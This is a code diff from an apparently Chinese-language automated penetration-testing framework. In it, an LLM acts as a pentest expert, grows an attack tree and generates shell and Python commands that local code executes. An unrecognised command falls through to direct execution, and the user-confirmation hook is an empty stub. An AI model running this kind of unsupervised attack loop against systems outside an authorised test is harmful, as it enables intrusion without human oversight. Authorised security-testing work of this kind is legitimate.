with open("attack_tree", 'wb') as f:
pickle.dump(self.attack_tree, f)
except queue.Empty:
self.logger.debug("llm队列中暂时无新的提交任务!")
time.sleep(30)
#约束1:一个节点只能同时提交一次,未测试的节点不要重复
def get_llm_instruction(self,node,DBM):
user_Prompt = ""
ext_Prompt = ""
llm_type, res_list = self.get_one_llm_work(node)
try:
res_str = json.dumps(res_list, ensure_ascii=False)
except TypeError as e:
self.logger.error(f"{res_list}序列化失败:{e},需要自查程序添加代码!")
return # 直接返回
if llm_type == 0:
self.logger.error("这里type不应该为0,请自查程序逻辑!")
return
#2025-3-20增加了llm_type
user_Prompt = f'''
当前分支路径{node.path}
当前节点信息
- 节点名称{node.name}
- 节点状态{node.status}
- 漏洞类型{node.vul_type}
'''
if llm_type == 1: #提交指令执行结果 --- 正常提交
# 构造本次提交的prompt
ext_Prompt = f'''
上一步结果{res_str}
任务生成下一步渗透测试指令或判断是否完成该节点测试
'''
elif llm_type ==2: #llm返回的指令存在问题,需要再次请求返回
ext_Prompt = f'''
反馈类型节点指令格式错误
错误信息{res_str}
任务请按格式要求重新生成该节点上一次返回中生成的所有指令
'''
# '''
# elif llm_type ==4: #未生成节点列表
# ext_Prompt = f'''
# 反馈类型:需要继续补充信息
# 缺失信息:{res_str}
# 任务:
# 1.请生成这些节点的新增节点指令,并生成对应的测试指令;
# 2.这些节点的父节点为当前节点,请正确生成这些节点的节点路径;
# 3.若节点未能全部新增,必须返回未新增的节点列表
# 4.若有未生成指令的节点,必须返回未生成指令的节点列表。
# '''
elif llm_type ==5:
ext_Prompt = f'''
反馈类型测试指令格式错误
错误信息{res_str}
任务请根据格式要求重新生成该测试指令
'''
else:
self.logger.debug("意外的类型参数")
return
if not ext_Prompt:
self.logger.error("未成功获取本次提交的user_prompt")
return
#提交LLM
user_Prompt = user_Prompt + ext_Prompt
node_cmds, commands = self.LLM.get_llm_instruction(user_Prompt,DBM, node) # message要更新
'''
对于LLM返回的错误处理机制
1.验证节点是否都有测试指令返回
2.LLM的回复开始反复时有点难判断
'''
# 更新tree
bok,new_commands = self.tree_manager(node_cmds, node,commands,DBM)
# 分析指令入对应节点
if bok: #节点指令若存在错误,测试指令都不处理,需要LLM重新生成
node_list = self.instr_in_node(new_commands, node)
# 插入TM的node_queue中,交TM线程处理---除了LLM在不同的请求返回针对同一节点的测试指令,正常业务不会产生两次进队列
for node in node_list:
self.TM.node_queue.put(node)
def verify_node_cmds(self,node_cmds,node):
'''
验证节点指令的合规性持续维护
:param node_cmds:
:param node:
:return: Flase 存在问题 True 合规
'''
strerror = ""
for node_json in node_cmds:
if "action" not in node_json:
self.logger.error(f"缺少action节点:{node_json}")
strerror = {"节点指令错误":f"{node_json}缺少action节点,不符合格式要求!"}
break
action = node_json["action"]
if action == "add_node":
if "parent" not in node_json or "status" not in node_json or "nodes" not in node_json:
strerror = {"节点指令错误": f"{node_json}不符合格式要求,缺少节点!"}
break
elif action == "update_status":
if "status" not in node_json or "node" not in node_json:
strerror = {"节点指令错误": f"{node_json}不符合格式要求,缺少节点!"}
break
elif action =="no_instruction" or action=="no_create":
if "nodes" not in node_json:
strerror = {"节点指令错误": f"{node_json}不符合格式要求,缺少节点!"}
break
else:
strerror = {"节点指令错误": f"{node_json}不可识别的action值!"}
break
if not strerror:
return True
#提交一个错误反馈任务
self.put_one_llm_work(strerror,node,2)
return False
def tree_manager(self,node_cmds,node,commands,DBM):
'''更新渗透测试树
node_cmds是json-list
2025-03-22添加commands参数用于处理LLM对同一个节点返回了测试指令但还返回了no_instruction节点指令
'''
if not node_cmds: # or len(node_cmds)==0: 正常not判断就可以有没有节点指令
return True,commands
#对节点指令进行校验
if not self.verify_node_cmds(node_cmds,node):
return False,commands #节点指令存在问题,终止执行
#执行节点操作---先执行add_node,怕返回顺序不一直
residue_node_cmds = []
for node_json in node_cmds:
action = node_json["action"]
if action == "add_node": # 新增节点
parent_node_name = node_json["parent"]
status = node_json["status"]
node_names = node_json["nodes"].split(',')
# 新增节点原则上应该都是当前节点增加子节点
if node.name == parent_node_name or parent_node_name.endswith(node.name):
for node_name in node_names:
# 判重---遇到过补充未生成指令的节点时,返回了新增这些节点的指令
bfind = False
for node_child in node.children:
if node_child.name == node_name:
bfind = True
break
if not bfind:
# 添加节点
new_node = TreeNode(node_name, node.task_id, status)
node.add_child(new_node) # message的传递待验证
elif node.parent.name == parent_node_name or parent_node_name.endswith(node.parent.name):
#是添加当前节点的平级节点(当前节点的父节点下添加子节点) --使用2233ai-o3时遇到的情况
for node_name in node_names:
# 判重---遇到过补充未生成指令的节点时,返回了新增这些节点的指令
bfind = False
for node_child in node.parent.children:
if node_child.name == node_name:
bfind = True
break
if not bfind:
# 添加节点
new_node = TreeNode(node_name, node.task_id, status)
node.parent.add_child(new_node)
else:
self.logger.error(f"添加子节点时,遇到父节点名称不一致的,需要介入!!{node_json}") # 丢弃该节点
else:#其他指令添加到list
residue_node_cmds.append(node_json)
#执行剩余的节点指令--不分先后
for node_json in residue_node_cmds:
action = node_json["action"]
if action == "update_status":
node_name = node_json["node"]
status = node_json["status"]
vul_type = "未发现"
if node.name == node_name or node_name.endswith(node_name):
node.status = status
if "vulnerability" in node_json:
#{\"name\":\"漏洞名称\",\"risk\":\"风险等级(低危/中危/高危)\",\"info\":\"补充信息(没有可为空)\"}};
vul_type = json.dumps(node_json["vulnerability"],ensure_ascii=False) #json转字符串
try:
node.name = node_json["vulnerability"]["name"]
node.vul_grade = node_json["vulnerability"]["risk"]
node.vul_info = node_json["vulnerability"]["info"]
except:
self.logger.error("漏洞信息错误")
node.vul_type = vul_type
else:
str_user = f"遇到不是修改本节点状态的,需要介入!!{node_json}"
self.logger.error(str_user)
self.need_user_know(str_user,node)
elif action == "no_instruction":
#返回的未生成指令的数据进行校验:1.要有数据;2.节点不是当前节点就是子节点
nodes = []
node_names = node_json["nodes"].split(',')
for node_name in node_names:
#先判断是否在测试指令中,若在则不提交llm任务,只能接受在一次返回中同一节点有多条测试指令,不允许分次返回
bcommand = False
for com in commands:
if node_name in com:
bcommand = True
break
if bcommand: #如果存在测试指令,则不把该节点放入补充信息llm任务
continue
#验证对应节点是否已经创建---本节点或子节点,其他节点不处理(更狠一点就是本节点都不行)
if node_name == node.name:
nodes.append(node_name)
# str_add = "请生成测试指令"
# self.put_one_llm_work(str_add,node,1)
else:
for child_node in node.children:
if child_node.name == node_name:
nodes.append(node_name)
# str_add = "无"
# self.put_one_llm_work(str_add, child_node, 1)
break
if nodes: #阻塞式,在当前节点提交补充信息,完善节点指令 -- 优势是省token
new_commands = self.get_other_instruction(nodes,DBM,node)
commands.extend(new_commands)
elif action == "no_create": #提交人工确认
nodes = node_json["nodes"]
if nodes:
str_add = {"未新增的节点": nodes}
self.logger.debug(str_add)
# 提交一个继续反馈任务--继续后续工作 2025-3-25不自动处理
# self.put_one_llm_work(str_add, node, 4)
# self.logger.debug(f"未新增的节点有:{nodes}")
else:
self.logger.error("****不应该执行到这!程序逻辑存在问题!")
return True,commands
#阻塞轮询补充指令
def get_other_instruction(self,nodes,DBM,cur_node):
res_str = ','.join(nodes)
new_commands = []
while res_str:
self.logger.debug(f"开始针对f{res_str}这些节点请求测试指令")
user_Prompt = f'''
当前分支路径{cur_node.path}
当前节点信息
- 节点名称{cur_node.name}
- 节点状态{cur_node.status}
- 漏洞类型{cur_node.vul_type}
反馈类型需要补充信息
缺失信息针对{res_str}的测试指令
任务
1.请生成这些节点的测试指令
2.这些节点的父节点为当前节点请正确生成这些节点的节点路径
3.若还有节点未能生成测试指令必须返回未生成指令的节点列表
'''
res_str = ""
node_cmds, commands = self.LLM.get_llm_instruction(user_Prompt, DBM, cur_node) # message要更新
#把返回的测试指令进行追加
new_commands.extend(commands)
#判断是否还有未添加指令的节点
for node_json in node_cmds: #正常应该只有一条no_instruction
if "no_instruction" in node_json and "nodes" in node_json:
tmp_nodes = []
node_names = node_json["nodes"].split(',')
for node_name in node_names:
if node_name in nodes:
tmp_nodes.append(node_name)
res_str = ','.join(tmp_nodes)
break
self.logger.debug("为添加指令的节点,都已完成指令的添加!")
return new_commands
def instr_in_node(self,commands,node):
node_list = [] #一次返回的测试指令
for command in commands:
# 使用正则匹配方括号中的node_path(非贪婪模式)
match = re.search(r'\[(.*?)\]', command)
if match:
node_path = match.group(1)
#'''强制约束,不是本节点或者是子节点的指令不处理'''
find_node = self.attack_tree.find_node_by_nodepath_parent(node_path,node)
if find_node:
instruction = re.sub(r'\[.*?\]', "", command,count=1,flags=re.DOTALL)
find_node.instr_queue.append(instruction)
#入输出队列
if find_node not in node_list:
node_list.append(find_node)
else:
self.logger.error(f"基于节点路径没有找到对应的节点{node_path},父节点都没找到!")#丢弃该指令
else:
self.logger.error(f"得到的指令格式不符合规范:{command}")#丢弃该指令---
#这里对于丢弃指令,有几种方案:
# 1.直接丢弃不处理,但需要考虑会不会产生节点缺失指令的问题,需要有机制验证节点;------ 需要有个独立线程,节点要加锁--首选待改进方案
# 2.入当前节点的res_queue,但有可能当前节点没有其他指令,不会触发提交,另外就算提交,会不会产生预设范围外的返回,不确定;
# 3.独立队列处理
return node_list
#需要用户确认的信息--待完善 #需要用户确认的信息--待完善
def need_user_know(self,strinfo,node): def need_user_know(self,strinfo,node):
pass pass

218
mycode/DBManager.py

@ -6,6 +6,8 @@ import json
from myutils.ConfigManager import myCongif from myutils.ConfigManager import myCongif
from myutils.MyLogger_logger import LogHandler from myutils.MyLogger_logger import LogHandler
from myutils.MyTime import get_local_timestr from myutils.MyTime import get_local_timestr
from datetime import timedelta
from datetime import datetime, timedelta
class DBManager: class DBManager:
#实例化数据库管理对象,并连接数据库 #实例化数据库管理对象,并连接数据库
@ -22,7 +24,6 @@ class DBManager:
self.passwd = myCongif.get_data('mysql.passwd') self.passwd = myCongif.get_data('mysql.passwd')
self.database = myCongif.get_data('mysql.database') self.database = myCongif.get_data('mysql.database')
self.connection = None self.connection = None
self.cursor = None
elif self.itype ==1: elif self.itype ==1:
self.dbfile = myCongif.get_data("sqlite") self.dbfile = myCongif.get_data("sqlite")
if not os.path.exists(self.dbfile): if not os.path.exists(self.dbfile):
@ -34,9 +35,7 @@ class DBManager:
def __del__(self): def __del__(self):
if self.ok: if self.ok:
self.cursor.close()
self.connection.close() self.connection.close()
self.cursor = None
self.connection = None self.connection = None
self.logger.debug("DBManager销毁") self.logger.debug("DBManager销毁")
@ -45,10 +44,8 @@ class DBManager:
if self.itype ==0: if self.itype ==0:
self.connection = pymysql.connect(host=self.host, port=self.port, user=self.user, self.connection = pymysql.connect(host=self.host, port=self.port, user=self.user,
passwd=self.passwd, db=self.database,charset='utf8') passwd=self.passwd, db=self.database,charset='utf8')
self.cursor = self.connection.cursor()
elif self.itype ==1: elif self.itype ==1:
self.connection = sqlite3.connect(self.dbfile) self.connection = sqlite3.connect(self.dbfile)
self.cursor = self.connection.cursor()
self.ok = True self.ok = True
self.logger.debug("服务器端数据库连接成功") self.logger.debug("服务器端数据库连接成功")
return True return True
@ -72,16 +69,17 @@ class DBManager:
data = None data = None
if self.Retest_conn(): if self.Retest_conn():
try: try:
self.cursor.execute(strsql)
self.connection.commit() # select要commit提交事务,是存在获取不到最新数据的问题(innoDB事务机制) self.connection.commit() # select要commit提交事务,是存在获取不到最新数据的问题(innoDB事务机制)
with self.connection.cursor() as cursor:
cursor.execute(strsql)
if itype == 1:
data = cursor.fetchone()
else:
data = cursor.fetchall()
except Exception as e: except Exception as e:
self.logger.error("do_select异常报错:%s" % str(e)) self.logger.error("do_select异常报错:%s" % str(e))
self.lock.release() self.lock.release()
return None return None
if itype == 1:
data = self.cursor.fetchone()
else:
data = self.cursor.fetchall()
self.lock.release() self.lock.release()
return data return data
@ -91,11 +89,12 @@ class DBManager:
self.lock.acquire() self.lock.acquire()
if self.Retest_conn(): if self.Retest_conn():
try: try:
with self.connection.cursor() as cursor:
# self.conn.begin() # self.conn.begin()
if data: if data:
iret = self.cursor.executemany(strsql, data) #批量执行sql语句 iret = cursor.executemany(strsql, data) #批量执行sql语句
else: else:
iret = self.cursor.execute(strsql) iret = cursor.execute(strsql)
self.connection.commit() self.connection.commit()
bok = True bok = True
except Exception as e: except Exception as e:
@ -104,19 +103,40 @@ class DBManager:
self.lock.release() self.lock.release()
return bok return bok
def safe_do_sql(self,strsql,params): def safe_do_sql(self,strsql,params,itype=0):
bok = False bok = False
task_id = 0
self.lock.acquire() self.lock.acquire()
if self.Retest_conn(): if self.Retest_conn():
try: try:
self.cursor.execute(strsql, params) with self.connection.cursor() as cursor:
cursor.execute(strsql, params)
self.connection.commit() self.connection.commit()
if itype ==1: #只有插入task任务数据的时候是1
task_id = cursor.lastrowid
bok = True bok = True
except Exception as e: except Exception as e:
self.logger.error("执行数据库语句%s出错:%s" % (strsql, str(e))) self.logger.error("执行数据库语句%s出错:%s" % (strsql, str(e)))
self.connection.rollback() self.connection.rollback()
self.lock.release() self.lock.release()
return bok return bok,task_id
def safe_do_select(self,strsql,params,itype=0):
results = []
self.lock.acquire()
if self.Retest_conn():
self.connection.commit()
try:
with self.connection.cursor() as cursor:
cursor.execute(strsql, params) # 执行参数化查询
if itype ==0:
results = cursor.fetchall() # 获取所有结果
elif itype ==1:
results = cursor.fetchone() #获得一条记录
except Exception as e:
print(f"查询出错: {e}")
self.lock.release()
return results
def is_json(self,s:str) -> bool: def is_json(self,s:str) -> bool:
if not isinstance(s, str): if not isinstance(s, str):
@ -129,9 +149,23 @@ class DBManager:
except Exception: except Exception:
return False # 处理其他意外异常(如输入 None) return False # 处理其他意外异常(如输入 None)
def timedelta_to_str(delta: timedelta) -> str:
hours, remainder = divmod(delta.total_seconds(), 3600)
minutes, seconds = divmod(remainder, 60)
return f"{int(hours):02}:{int(minutes):02}:{int(seconds):02}"
#---------------------特定数据库操作函数--------------------- #---------------------特定数据库操作函数---------------------
def get_system_info(self):
strsql = "select * from zf_system;"
data = self.do_select(strsql,1)
return data
def get_run_tasks(self):
strsql = "select ID,task_target,task_status,work_type,cookie_info,llm_type from task where task_status <> 2;"
datas = self.do_select(strsql)
return datas
def start_task(self,task_name,task_target) -> int: def start_task(self,test_target,cookie_info,work_type,llm_type) -> int:
''' '''
数据库添加检测任务 数据库添加检测任务
:param task_name: :param task_name:
@ -140,12 +174,30 @@ class DBManager:
''' '''
task_id =0 task_id =0
start_time = get_local_timestr() start_time = get_local_timestr()
sql = "INSERT INTO task (task_name,task_target,start_time) VALUES (%s,%s,%s)" sql = "INSERT INTO task (task_name,task_target,start_time,task_status,safe_rank,work_type,cookie_info,llm_type) " \
params = (task_name,task_target,start_time) "VALUES (%s,%s,%s,%s,%s,%s,%s,%s)"
self.safe_do_sql(sql,params) params = (test_target,test_target,start_time,1,0,work_type,cookie_info,llm_type)
task_id = self.cursor.lastrowid bok,task_id = self.safe_do_sql(sql,params,1)
return task_id return task_id
def over_task(self,task_id):
strsql = "update task set task_status=2 where ID=%s;"
params = (task_id)
bok,_ = self.safe_do_sql(strsql, params)
return bok
def del_task(self,task_id):
params = (task_id)
strsql = "delete from task where ID=%s;"
bok,_ = self.safe_do_sql(strsql,params)
strsql = "delete from task_llm where task_id=%s;"
bok, _ = self.safe_do_sql(strsql, params)
strsql = "delete from task_result where task_id=%s;"
bok, _ = self.safe_do_sql(strsql, params)
strsql = "delete from task_vul where task_id=%s;"
bok, _ = self.safe_do_sql(strsql, params)
return bok
#指令执行结果入库 #指令执行结果入库
def insetr_result(self,task_id,instruction,result,do_sn,start_time,end_time,source_result,ext_params,node_path): def insetr_result(self,task_id,instruction,result,do_sn,start_time,end_time,source_result,ext_params,node_path):
str_result = "" str_result = ""
@ -180,10 +232,11 @@ class DBManager:
""" """
params = (task_id, instruction, str_result, do_sn,start_time,end_time,source_result,ext_params['is_user'], params = (task_id, instruction, str_result, do_sn,start_time,end_time,source_result,ext_params['is_user'],
ext_params['is_vulnerability'],node_path) ext_params['is_vulnerability'],node_path)
return self.safe_do_sql(sql,params) bok,_ = self.safe_do_sql(sql,params)
return bok
#llm数据入库 #llm数据入库
def insert_llm(self,task_id,prompt,reasoning_content,content,post_time,node): def insert_llm(self,task_id,prompt,reasoning_content,content,post_time,llm_sn,path):
str_reasoning = "" str_reasoning = ""
str_content = "" str_content = ""
try: try:
@ -215,8 +268,125 @@ class DBManager:
str_reasoning = str_reasoning.encode('utf-8').decode('unicode_escape') str_reasoning = str_reasoning.encode('utf-8').decode('unicode_escape')
str_content = str_content.encode('utf-8').decode('unicode_escape') str_content = str_content.encode('utf-8').decode('unicode_escape')
params = (task_id,node.llm_sn,prompt,str_reasoning,str_content,post_time,node.path) params = (task_id,llm_sn,prompt,str_reasoning,str_content,post_time,path)
return self.safe_do_sql(sql,params) bok,_=self.safe_do_sql(sql,params)
return bok
#获取任务的测试指令执行情况
def get_task_instrs(self,task_id,nodename):
strsql = '''
select ID,node_path,do_sn,instruction,result from task_result where task_id = %s
'''
if nodename.strip():
strsql += " and nodename like %s;"
params = (task_id,nodename)
else:
strsql += ";"
params = (task_id)
datas = self.safe_do_select(strsql,params)
return datas
#插入漏洞数据
def insert_taks_vul(self,task_id,node_name,node_path,vul_type,vul_level,vul_info):
strsql = '''
INSERT INTO task_vul
(task_id,node_name,node_path,vul_type,vul_level,vul_info)
VALUES (%s,%s,%s,%s,%s,%s)
'''
params = (task_id,node_name,node_path,vul_type,vul_level,vul_info)
bok,_ = self.safe_do_sql(strsql,params)
return bok
#获取任务的漏洞检测情况
def get_task_vul(self,task_id,nodename,vultype,vullevel):
strsql = '''
select ID,node_path,vul_type,vul_level,vul_info from task_vul
'''
# 动态构建查询条件
conditions = ["task_id=%s"] # task_id 必须存在
params = [task_id] # 参数列表初始化
# 按需添加其他条件
if nodename and nodename.strip(): # 检查nodename是否非空(去除前后空格后)
conditions.append("node_path=%s")
params.append(nodename)
if vultype and vultype.strip(): # 检查vultype是否非空
conditions.append("vul_type=%s")
params.append(vultype)
if vullevel and vullevel.strip(): # 检查vullevel是否非空
conditions.append("vul_level=%s")
params.append(vullevel)
# 组合完整的WHERE子句
if len(conditions) > 0:
strsql += " WHERE " + " AND ".join(conditions)
# 执行查询(将参数转为元组)
datas = self.safe_do_select(strsql, tuple(params))
return datas
#获取该任务该节点的所有 已经执行的任务
def get_task_node_done_instr(self,task_id,nodepath):
strsql = '''
select instruction,start_time,result from task_result where task_id=%s and node_path=%s order by start_time desc;
'''
params = (task_id,nodepath)
datas = self.safe_do_select(strsql,params)
return datas
def get_his_tasks(self,target_name,safe_rank,llm_type,start_time,end_time):
strsql = "select ID,task_target,safe_rank,llm_type,start_time,end_time from task"
conditions = ["task_status=%s"]
params = [2]
# 按需添加其他条件
if target_name and target_name.strip(): # 检查nodename是否非空(去除前后空格后)
conditions.append("task_target=%s")
params.append(target_name)
if safe_rank and safe_rank.strip(): # 检查vultype是否非空
conditions.append("safe_rank=%s")
params.append(safe_rank)
if llm_type and llm_type.strip(): # 检查vullevel是否非空
conditions.append("llm_type=%s")
params.append(llm_type)
if start_time and start_time.strip(): # 检查vultype是否非空
conditions.append("start_time >= %s")
start_date = datetime.strptime(start_time, "%Y-%m-%d")
# 生成起始时间字符串(当日 00:00:00)
start_time_str = start_date.strftime("%Y-%m-%d 00:00:00")
params.append(start_time_str)
if end_time and end_time.strip(): # 检查vullevel是否非空
conditions.append("end_time < %s")
# 将输入字符串转为日期对象
end_date = datetime.strptime(end_time, "%Y-%m-%d")
# 生成结束时间字符串(次日 00:00:00)
end_time_str = (end_date + timedelta(days=1)).strftime("%Y-%m-%d 00:00:00")
params.append(end_time_str)
# 组合完整的WHERE子句
if len(conditions) > 0:
strsql += " WHERE " + " AND ".join(conditions)
# 执行查询(将参数转为元组)
datas = self.safe_do_select(strsql, tuple(params))
return datas
def getsystem_info(self):
strsql = "select local_ip,version from zf_system;"
data = self.do_select(strsql,1)
return data
def update_localip(self,local_ip):
strsql = "update zf_system set local_ip=%s;"
params = (local_ip)
bok,_ = self.safe_do_sql(strsql,params)
return bok
def test(self): def test(self):
# 建立数据库连接 # 建立数据库连接

33
mycode/InstructionManager.py

@ -13,8 +13,7 @@ from tools.ToolBase import ToolBase
from myutils.ReturnParams import ReturnParams from myutils.ReturnParams import ReturnParams
class InstructionManager: class InstructionManager:
def __init__(self,TM): def __init__(self):
self.TM = TM #任务类对象穿透
self.tool_registry = {} # 安全工具list self.tool_registry = {} # 安全工具list
self.load_tools() # 加载工具类 self.load_tools() # 加载工具类
@ -36,10 +35,14 @@ class InstructionManager:
cls = getattr(module,module_name) cls = getattr(module,module_name)
if(issubclass(cls, ToolBase) and cls != ToolBase): if(issubclass(cls, ToolBase) and cls != ToolBase):
tool_name = module_name.lower()[:-4] tool_name = module_name.lower()[:-4]
self.tool_registry[tool_name] = cls(self.TM) #类对象穿透 self.tool_registry[tool_name] = cls()
except ImportError as e: except ImportError as e:
print(f"加载工具 {module_name} 失败:{str(e)}") print(f"加载工具 {module_name} 失败:{str(e)}")
def get_tool_out_time(self,tool_name):
tool = self.tool_registry[tool_name]
out_time = tool.get_time_out()
return out_time
# 执行指令 # 执行指令
def execute_instruction(self,instruction): def execute_instruction(self,instruction):
@ -54,21 +57,23 @@ class InstructionManager:
# 检查是否存在对应工具 # 检查是否存在对应工具
if tool_name in self.tool_registry: if tool_name in self.tool_registry:
tool = self.tool_registry[tool_name] tool = self.tool_registry[tool_name]
print(f"*****开始执行指令:{instruction}") #print(f"*****开始执行指令:{instruction}")
bres,instr, result,source_result,ext_params = tool.execute_instruction(instruction) bres,instr, result,source_result,ext_params = tool.execute_instruction(instruction)
#print(f"分析结果:{result}") #print(f"*****指令:{instr},执行完毕")
print(f"*****指令:{instr},执行完毕")
else: else:
bres = False other_tool = self.tool_registry["other"] #尝试直接执行(处理一些组合指令)
instr = instruction #保障后续代码的一致性 bres, instr, result, source_result, ext_params = other_tool.execute_instruction(instruction)
source_result = result = f"未知工具:{tool_name}" # bres = False
ext_params = ReturnParams() # instr = instruction #保障后续代码的一致性
ext_params["is_user"] = True # 是否要提交用户确认 -- 默认False # source_result = result = f"{tool_name}-该工具暂不支持"
ext_params["is_vulnerability"] = False # 是否是脆弱点 # ext_params = ReturnParams()
# ext_params["is_user"] = True # 是否要提交用户确认 -- 默认False
# ext_params["is_vulnerability"] = False # 是否是脆弱点
print(f"执行指令:{instr}") print(f"执行指令:{instr}")
print(f"未知工具:{tool_name}") print(f"未知工具:{tool_name}")
return bres,instr,result,source_result,ext_params #return bres,instr,result,source_result,ext_params
return instr, result, source_result, ext_params #取消bres的返回,所有指令执行结果多需要返回到Llm,用于控制节点的状态
#过来指令:合规、判重、待执行等 #过来指令:合规、判重、待执行等
def _instruction_filter(self,instruction): def _instruction_filter(self,instruction):
@ -78,6 +83,8 @@ class InstructionManager:
def _fetch_prompt(self): def _fetch_prompt(self):
pass pass
g_instrM = InstructionManager() #全局唯一
if __name__ == "__main__": if __name__ == "__main__":
instrM = InstructionManager() instrM = InstructionManager()
instrS = ['whois haitutech.cn', instrS = ['whois haitutech.cn',

8
mycode/LLMBase.py

@ -1,8 +0,0 @@
import openai
from openai import OpenAI
#LLM的基类
class LLMBase:
def __init__(self):
pass

112
mycode/LLMManager.py

@ -5,22 +5,19 @@ pip install openai
''' '''
import openai import openai
import json import json
import threading
import re import re
import os import os
from openai import OpenAI from openai import OpenAI
from mycode.DBManager import DBManager from myutils.ConfigManager import myCongif
from myutils.MyTime import get_local_timestr from myutils.MyTime import get_local_timestr
from myutils.MyLogger_logger import LogHandler from myutils.MyLogger_logger import LogHandler
class LLMManager: class LLMManager:
def __init__(self,illm_type=3): def __init__(self,illm_type):
self.logger = LogHandler().get_logger("LLMManager") self.logger = LogHandler().get_logger("LLMManager")
self.api_key = None self.api_key = None
self.api_url = None self.api_url = None
self.task_id =0 #一个任务一个id
# self.llm_sn = 0 # llm执行序列号,--一任务一序列
# self.llm_sn_lock = threading.Lock() #
#temperature设置 #temperature设置
#DS------代码生成/数学解题:0.0 -- 数据抽取/分析:1.0 -- 通用对话:1.3 -- 翻译:1.3 -- 创意类写作:1.5 #DS------代码生成/数学解题:0.0 -- 数据抽取/分析:1.0 -- 通用对话:1.3 -- 翻译:1.3 -- 创意类写作:1.5
if illm_type == 0: #腾讯云 if illm_type == 0: #腾讯云
@ -51,15 +48,6 @@ class LLMManager:
#self.client = openai #self.client = openai
self.client = OpenAI(api_key=self.api_key,base_url=self.api_url) self.client = OpenAI(api_key=self.api_key,base_url=self.api_url)
#******测试使用,设置slef.message的值
def test_old_message(self,strMessage):
try:
self.messages = json.loads(strMessage)
except json.JSONDecodeError as e:
print(f"JSON解析错误: {str(e)}")
except Exception as e:
print(f"错误: {str(e)}")
''' '''
**决策原则** **决策原则**
- 根据节点类型和状态优先执行基础测试如端口扫描服务扫描 - 根据节点类型和状态优先执行基础测试如端口扫描服务扫描
@ -67,58 +55,49 @@ class LLMManager:
- 确保每个新增节点匹配测试指令 - 确保每个新增节点匹配测试指令
''' '''
# 初始化messages # 初始化messages
def build_initial_prompt(self,node,str_ip=""): def build_initial_prompt(self,node):
if not node: if not node:
return return
#根节点初始化message #根节点初始化message----后续有可能需要为每个LLM生成不同的system msg
node.messages = [{"role": "system", node.messages = [{"role": "system",
"content":''' "content":'''
你是一位渗透测试专家基于你的专业知识和经验负责动态控制整个渗透测试过程根据当前测试状态和返回结果决定下一步测试指令推动测试前进直至完成渗透测试本地程序会执行你的指令并返回结果 你是一位渗透测试专家来指导本地程序进行渗透测试由你负责动态控制整个渗透测试过程根据当前测试状态和返回结果决定下一步测试指令推动测试前进直至完成渗透测试
**总体要求** **总体要求**
1.以目标系统IP为根节点每个渗透测试点如端口服务漏洞点作为子节点形成树型结构测试树 1.以测试目标为根节点每个渗透测试点如端口服务漏洞点等作为子节点形成树型结构测试树层层递进
2.测试树整体数据由本地程序存储你只需要关注当前节点的测试推进状态更新(未完成/已完成)及完整新增子节点 2.每次规划测试方案时只需要关注当前节点的测试推进状态更新(未完成/已完成)以及是否有子节点新增
3.返回两类指令节点指令和测试指令以空行间隔不要包含注释和说明 3.生成的指令有两类节点指令和测试指令指令之间必须以空行间隔不能包含注释和说明
4.若一次性新增的节点过多无法为每个节点都匹配测试指令请优先保障新增中高危节点的完整性若有未生成测试指令的节点必须返回未生成指令节点列表 4.本地程序会执行生成的指令但不具备分析和判断能力只会把执行结果返回给你执行结果应尽量规避无效的信息
5.若无需要处理的节点数据节点指令可以不生成但测试指令必须对应已有节点 5.除信息收集外需要为每个测试验证的漏洞点新增节点,同时生成对应的测试指令
**决策流程** 6.若一次性新增的节点过多无法为每个节点都匹配测试指令请优先保障新增测试节点的完整性若有未生成测试指令的节点必须返回未生成指令节点列表
1. 若当前节点是IP且未进行端口扫描则对当前节点执行端口扫描 7.若漏洞验证成功则根据结果评估是否有进一步测试的必要若有则为测试内容新增子节点并提供测试指令若没有则结束该节点测试
2. 若端口扫描发现开放端口对可能存在中高危以上风险的端口新增节点并提供测试指令 8.当当前节点没有新的测试指令时更新状态为已完成
3. 若当前节点是端口且未进行服务扫描则执行服务扫描 9.若无需要处理的节点数据节点指令可以不生成
4. 若服务扫描发现服务版本或漏洞则新增漏洞测试节点并提供测试指令
5. 若漏洞验证成功则根据结果决定是否需要进一步测试若需要进一步测试则为测试内容新增子节点并提供测试指令
6. 当当前节点执行完成所有可能的测试指令更新状态为已完成
**测试指令生成准则** **测试指令生成准则**
1.明确每个测试指令的测试目标并优先尝试最简单最直接的办法不要在同一个请求生成测试效果覆盖的指令 1.使用递进逻辑组织指令先尝试基础测试方法根据执行结果决定是否进行更深入的测试不要同时生成测试效果覆盖的指令
2.使用递进逻辑组织指令先尝试基础测试方法根据执行结果决定是否进行更深入的测试; 2.不要生成有前后执行关系的多条shell指令若不能放一条shell指令内执行请提供对应的python指令
3.本地的IP地址为192.168.204.135
**节点指令格式** **节点指令格式**
- 新增节点{\"action\":\"add_node\", \"parent\": \"父节点\", \"nodes\": \"节点1,节点2\", \"status\": \"未完成\"}; - 新增节点{\"action\":\"add_node\", \"parent\": \"父节点\", \"nodes\": \"节点1,节点2\"};
- 未生成指令节点列表{\"action\": \"no_instruction\", \"nodes\": \"节点1,节点2\"}; - 未生成指令节点列表{\"action\": \"no_instruction\", \"nodes\": \"节点1,节点2\"};
- 完成测试未发现漏洞{\"action\": \"update_status\", \"node\": \"节点\", \"status\": \"已完成\"}; - 漏洞验证成功{\"action\": \"find_vul\", \"node\": \"节点\",\"vulnerability\": {\"name\":\"漏洞名称\",\"risk\":\"风险等级(低危/中危/高危)\",\"info\":\"补充信息(没有可为空)\"}};
- 完成测试且发现漏洞{\"action\": \"update_status\", \"node\": \"节点\", \"status\": \"已完成\"\"vulnerability\": {\"name\":\"漏洞名称\",\"risk\":\"风险等级(低危/中危/高危)\",\"info\":\"补充信息(没有可为空)\"}}; - 完成测试{\"action\": \"end_work\", \"node\": \"节点\"};
**测试指令格式** **测试指令格式**
- shell指令```bash-[节点路径]指令内容```包裹需要避免用户交互,若涉及到多步指令请生成python代码 - dash指令```dash-[节点路径]指令内容```包裹需要避免用户交互若涉及到多步指令请生成python指令
- python指令```python-[节点路径]指令内容```包裹主函数名为dynamic_fun需包含错误处理必须返回一个tuple(status, output) - python指令```python-[节点路径]指令内容```包裹主函数名为dynamic_fun需包含错误处理必须返回一个tuple(status, output)
- [节点路径]为从根节点到目标节点的完整层级描述 - [节点路径]为从根节点到目标节点的完整层级路径
**核心要求** **核心要求**
- 优先保障新增中高危测试节点的完整性 - 指令之间必须要有一个空行
- 指令之间必须要有一个空行 - 需确保测试指令的节点路径和指令的目标节点一致
- 所有测试指令必须要能返回
**响应示例** **响应示例**
